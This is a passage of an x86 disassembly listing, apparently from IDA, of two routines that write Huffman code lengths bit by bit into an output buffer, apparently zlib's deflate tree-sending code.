		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_8]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C316A
; ---------------------------------------------------------------------------


loc_4C312A:				; CODE XREF: sub_4C3039+1Ej
		mov	edx, [ebp+arg_4]
		sub	edx, 101h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C316A:				; CODE XREF: sub_4C3039+EFj
		mov	[ebp+var_10], 5
		mov	edx, 10h
		sub	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C3251
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_10]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C328E
; ---------------------------------------------------------------------------


loc_4C3251:				; CODE XREF: sub_4C3039+149j
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C328E:				; CODE XREF: sub_4C3039+216j
		mov	[ebp+var_18], 4
		mov	edx, 10h
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C3375
		mov	ecx, [ebp+arg_C]
		sub	ecx, 4
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_1C]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_18]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C33B2
; ---------------------------------------------------------------------------


loc_4C3375:				; CODE XREF: sub_4C3039+26Dj
		mov	edx, [ebp+arg_C]
		sub	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C33B2:				; CODE XREF: sub_4C3039+33Aj
		mov	[ebp+var_4], 0
		jmp	short loc_4C33C4
; ---------------------------------------------------------------------------


loc_4C33BB:				; CODE XREF: sub_4C3039:loc_4C351Bj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4C33C4:				; CODE XREF: sub_4C3039+380j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_C]
		jge	loc_4C3520
		mov	[ebp+var_20], 3
		mov	ecx, 10h
		sub	ecx, [ebp+var_20]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C34CA
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, byte_4F2594[eax]
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+ecx*4+0A76h]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_20]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C351B
; ---------------------------------------------------------------------------


loc_4C34CA:				; CODE XREF: sub_4C3039+3AFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, byte_4F2594[ecx]
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+0A76h]
		mov	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C351B:				; CODE XREF: sub_4C3039+48Fj
		jmp	loc_4C33BB
; ---------------------------------------------------------------------------


loc_4C3520:				; CODE XREF: sub_4C3039+391j
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 8Ch
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C355C
		add	esp, 0Ch
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 980h
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C355C
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_4C3039	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C355C	proc near		; CODE XREF: sub_4C3039+4FBp
					; sub_4C3039+517p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	[ebp+var_18], 0FFFFFFFFh
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+2]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_C], 7
		mov	[ebp+var_10], 4
		cmp	[ebp+var_8], 0
		jnz	short loc_4C359E
		mov	[ebp+var_C], 8Ah
		mov	[ebp+var_10], 3


loc_4C359E:				; CODE XREF: sub_4C355C+32j
		mov	[ebp+var_1C], 0
		jmp	short loc_4C35B0
; ---------------------------------------------------------------------------


loc_4C35A7:				; CODE XREF: sub_4C355C+8Fj
					; sub_4C355C:loc_4C402Bj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx


loc_4C35B0:				; CODE XREF: sub_4C355C+49j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_8]
		jg	loc_4C4030
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+6]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jge	short loc_4C35ED
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_8]
		jnz	short loc_4C35ED
		jmp	short loc_4C35A7
; ---------------------------------------------------------------------------


loc_4C35ED:				; CODE XREF: sub_4C355C+85j
					; sub_4C355C+8Dj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jge	loc_4C3755


loc_4C35F9:				; CODE XREF: sub_4C355C+1EEj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+eax*4+0A76h]
		mov	[ebp+var_20], edx
		mov	eax, 10h
		sub	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C36F6
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+0A74h]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_24]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_20]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C373D
; ---------------------------------------------------------------------------


loc_4C36F6:				; CODE XREF: sub_4C355C+C1j
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+ecx*4+0A74h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+16B4h]
		shl	eax, cl
		mov	edx, [ebp+arg_0]
		mov	cx, [edx+16B0h]
		or	cx, ax
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_20]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C373D:				; CODE XREF: sub_4C355C+198j
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	loc_4C35F9
		jmp	loc_4C3FE2
; ---------------------------------------------------------------------------


loc_4C3755:				; CODE XREF: sub_4C355C+97j
		cmp	[ebp+var_14], 0
		jz	loc_4C3B1B
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_18]
		jz	loc_4C38B9
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+0A76h]
		mov	[ebp+var_28], ecx
		mov	edx, 10h
		sub	edx, [ebp+var_28]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C3869
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+ecx*4+0A74h]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_28]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C38B0
; ---------------------------------------------------------------------------


loc_4C3869:				; CODE XREF: sub_4C355C+233j
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+ecx*4+0A74h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+16B4h]
		shl	eax, cl
		mov	edx, [ebp+arg_0]
		mov	cx, [edx+16B0h]
		or	cx, ax
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C38B0:				; CODE XREF: sub_4C355C+30Bj
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_4C38B9:				; CODE XREF: sub_4C355C+209j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+0AB6h]
		mov	[ebp+var_30], edx
		mov	eax, 10h
		sub	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C39AF
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0AB4h]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_34]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_34]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_30]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C39F2
; ---------------------------------------------------------------------------


loc_4C39AF:				; CODE XREF: sub_4C355C+37Dj
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+0AB4h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C39F2:				; CODE XREF: sub_4C355C+451j
		mov	[ebp+var_38], 2
		mov	edx, 10h
		sub	edx, [ebp+var_38]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C3AD9
		mov	ecx, [ebp+var_4]
		sub	ecx, 3
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_3C]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_3C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_38]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C3B16
; ---------------------------------------------------------------------------


loc_4C3AD9:				; CODE XREF: sub_4C355C+4AEj
		mov	edx, [ebp+var_4]
		sub	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C3B16:				; CODE XREF: sub_4C355C+57Bj
		jmp	loc_4C3FE2
; ---------------------------------------------------------------------------


loc_4C3B1B:				; CODE XREF: sub_4C355C+1FDj
		cmp	[ebp+var_4], 0Ah
		jg	loc_4C3D86
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0ABAh]
		mov	[ebp+var_40], eax
		mov	ecx, 10h
		sub	ecx, [ebp+var_40]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C3C1A
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0AB8h]
		mov	[ebp+var_44], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_44]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_44]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_40]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C3C5D
; ---------------------------------------------------------------------------


loc_4C3C1A:				; CODE XREF: sub_4C355C+5E9j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+0AB8h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C3C5D:				; CODE XREF: sub_4C355C+6BCj
		mov	[ebp+var_48], 3
		mov	edx, 10h
		sub	edx, [ebp+var_48]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C3D44
		mov	ecx, [ebp+var_4]
		sub	ecx, 3
		mov	[ebp+var_4C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4C]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_4C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_48]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C3D81
; ---------------------------------------------------------------------------


loc_4C3D44:				; CODE XREF: sub_4C355C+719j
		mov	edx, [ebp+var_4]
		sub	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
